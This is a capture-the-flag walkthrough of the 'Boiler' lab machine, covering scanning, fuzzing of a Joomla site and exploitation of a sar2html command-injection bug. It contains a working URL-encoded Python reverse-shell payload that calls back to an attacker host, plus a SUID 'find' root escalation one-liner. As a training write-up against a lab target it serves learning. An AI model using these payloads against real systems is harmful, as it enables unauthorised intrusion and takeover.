Introduction

Boiler is another enumeration-heavy boot to root challenge. It has multiple rabbit holes to keep things interesting, but at least they don’t end up wasting too much time. Once we find the vulnerable application we will use a command injection bug to get a shell. Finding the user flag requires hopping through a couple of user accounts, again by just focusing on simple enumeration. Finally we will escalate to root by exploiting a root-owned SUID binary.

Tools Used

  • rustscan
  • Burp suite
  • ffuf

Recon

rustscan -a 10.10.24.224 -- -sC -sV -oA nmap1

PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp     syn-ack vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.6.48.252
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10000/tcp open  http    syn-ack MiniServ 1.930 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 3EBE21590CEBC71E0E72F5E2B53E0435
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
55007/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8bsvFyC4EXgZIlLR/7o9EHosUTTGJKIdjtMUyYrhUpJiEdUahT64rItJMCyO47iZTR5wkQx2H8HT
hHT6iQ5GlMzLGWFSTL1ttIulcg7uyXzWhJMiG/0W4HNIR44DlO8zBvysLRkBSCUEdD95kLABPKxIgCnYqfS3D73NJI6T2qWrbCTaIG5QAS5yAyPERXXz3
ofHRRiCr3fYHpVopUbMTWZZDjR3DKv7IDsOCbMKSwmmgdfxDhFIBRtCkdiUdGJwP/g0uEUtHbSYsNZbc1s1a5EpaxvlESKPBainlPlRkqXdIiYuLvzsf2
J0ajniPUkvJ2JbC8qm7AaDItepXLoDt
|   256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLIDkrDNUoTTfKoucY3J3eXFICcitdce9/EOdMn8/7Z
rUkM23RMsmFncOVJTkLOxOB+LwOEavTWG/pqxKLpk7oc=
|   256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPsAMyp7Cf1qf50P6K9P2n30r4MVz09NnjX7LvcKgG2p
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Looks like anonymous FTP access is available so we can start by checking for any interesting files there.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Boiler]
└─$ ftp -v 10.10.24.224
Connected to 10.10.24.224.
220 (vsFTPd 3.0.3)
Name (10.10.24.224:brian): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> passive
Passive mode on.
ftp> ls -la
227 Entering Passive Mode (10,10,24,224,161,174).
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt
226 Directory send OK.
ftp> get .info.txt -
remote: .info.txt
227 Entering Passive Mode (10,10,24,224,176,66).
150 Opening BINARY mode data connection for .info.txt (74 bytes).
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
226 Transfer complete.
74 bytes received in 0.00 secs (133.8252 kB/s)

We found one hidden file that contains some cipher text, but as it turns out, this is a dead end..

The plain text reads “Just wanted to see if you find it. Lol. Remember: Enumeration is the key!” which we can get by using the ROT13 algorithm to decode the cipher text.

There’s nothing else to look at here so let’s continue on an see what the Apache web server on port 80 is hosting.

Default apache page

It’s just the default Apache page, so let’s fuzz to see what other files and directories we can find.

ffuf -u http://10.10.24.224/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -t 80

manual                  [Status: 301, Size: 313, Words: 20, Lines: 10]
joomla                  [Status: 301, Size: 313, Words: 20, Lines: 10]
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376]
server-status           [Status: 403, Size: 300, Words: 22, Lines: 12]

There is a blog running the Joomla CMS behind /joomla.

Joomla blog

If we fuzz deeper we’ll find a lot more directories to search through. Since Joomla is built with PHP we can also use the -e .php argument so ffuf will scan for PHP files in addition to directories.

index.php               [Status: 200, Size: 12478, Words: 772, Lines: 259]
media                   [Status: 301, Size: 319, Words: 20, Lines: 10]
templates               [Status: 301, Size: 323, Words: 20, Lines: 10]
modules                 [Status: 301, Size: 321, Words: 20, Lines: 10]
images                  [Status: 301, Size: 320, Words: 20, Lines: 10]
tests                   [Status: 301, Size: 319, Words: 20, Lines: 10]
bin                     [Status: 301, Size: 317, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 321, Words: 20, Lines: 10]
includes                [Status: 301, Size: 322, Words: 20, Lines: 10]
language                [Status: 301, Size: 322, Words: 20, Lines: 10]
components              [Status: 301, Size: 324, Words: 20, Lines: 10]
cache                   [Status: 301, Size: 319, Words: 20, Lines: 10]
libraries               [Status: 301, Size: 323, Words: 20, Lines: 10]
installation            [Status: 301, Size: 326, Words: 20, Lines: 10]
build                   [Status: 301, Size: 319, Words: 20, Lines: 10]
tmp                     [Status: 301, Size: 317, Words: 20, Lines: 10]
layouts                 [Status: 301, Size: 321, Words: 20, Lines: 10]
administrator           [Status: 301, Size: 327, Words: 20, Lines: 10]
configuration.php       [Status: 200, Size: 0, Words: 1, Lines: 1]
cli                     [Status: 301, Size: 317, Words: 20, Lines: 10]
_files                  [Status: 301, Size: 320, Words: 20, Lines: 10]
.php                    [Status: 403, Size: 298, Words: 22, Lines: 12]

Most of these directories are empty, but we can access the Joomla login form at /administrator, and /_files reveals some kind of token/key:

┌──(brian㉿kali)-[~]
└─$ curl -i http://10.10.24.224/joomla/_files/
HTTP/1.1 200 OK
Date: Sun, 23 May 2021 12:46:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 21 Aug 2019 12:55:46 GMT
ETag: "a8-590a01770f880"
Accept-Ranges: bytes
Content-Length: 168
Vary: Accept-Encoding
Content-Type: text/html

<!DOCTYPE html>
<html>
        <head>
                <title>Woops</title>
        </head>
        <body>
                <div align=center><h1 style=color:red>VjJodmNITnBaU0JrWVdsemVRbz0K</h1></div>
        </body>
</html>

Wait a minute…

This is just another rabbit hole. VjJodmNITnBaU0JrWVdsemVRbz0K is just “Whopsie daisy” base64 encoded twice.

Let’s take a step back and fuzz the joomla directory again but with a different wordlist this time.

ffuf -u http://10.10.24.224/joomla/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -c

.htpasswd               [Status: 403, Size: 303, Words: 22, Lines: 12]
_archive                [Status: 301, Size: 322, Words: 20, Lines: 10]
_database               [Status: 301, Size: 323, Words: 20, Lines: 10]
_test                   [Status: 301, Size: 319, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 303, Words: 22, Lines: 12]
.hta                    [Status: 403, Size: 298, Words: 22, Lines: 12]
~www                    [Status: 301, Size: 318, Words: 20, Lines: 10]

This time we found a few more directories. The /_test directory contains an app called sar2html.

A quick web search shows there is a remote code execution bug that is simple to exploit.

The plot query parameter is vulnerable to command injection simply by appending a semicolon, followed by the command you wish to run:

RCE in sar2html proof of concept

Exploitation

Now all we need to do is find a shell payload to pop a shell. I tried several PHP reverse shells and was receiving connections, but they would terminate immediately. After some trial and error I was able to get a double URL-encoded Python payload to work:

GET /joomla/_test/index.php?plot=;python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.6.48.252%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fbash%22)' HTTP/1.1

And before executing the request, open a listener to catch the shell:

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Boiler]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.6.48.252] from (UNKNOWN) [10.10.24.224] 34796
www-data@Vulnerable:/var/www/html/joomla/_test$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Vulnerable:/var/www/html/joomla/_test$ uname -a
uname -a
Linux Vulnerable 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:01:15 UTC 2019 i686 i686 i686 GNU/Linux

User Flag

If we explore the current directory we’ll notice a log.txt file that contains the password for another user:

www-data@Vulnerable:/var/www/html/joomla/_test$ cat log.txt
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: REDACTED
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

Now we can su basterd and switch to their account with the password we found.

Basterd’s home directory does not contain the user flag, however there is a backup.sh script owned by the user stoner. If we examine it we’ll find it includes stoner’s password.

With that we can su stoner and then grab the flag from /home/stoner/.secret

Privilege Escalation

We can start privesc by checking for sudo privileges and root SUID binaries:

stoner@Vulnerable:/tmp$ sudo -l
User stoner may run the following commands on Vulnerable:
    (root) NOPASSWD: /NotThisTime/MessinWithYa
stoner@Vulnerable:/tmp$ find / -user root -type f -perm /4000 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/apache2/suexec-custom
/usr/lib/apache2/suexec-pristine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/find
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newuidmap

Since /usr/bin/find is owned by root and has the SUID bit set we can use it to escalate to an effective root shell and grab the root flag!

stoner@Vulnerable:/tmp$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(stoner) gid=1000(stoner) euid=0(root) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
# cd /root && ls -la
total 12
drwx------  2 root root 4096 Aug 22  2019 .
drwxr-xr-x 22 root root 4096 Aug 22  2019 ..
-rw-r--r--  1 root root   29 Aug 21  2019 root.txt
# wc -c root.txt
29 root.txt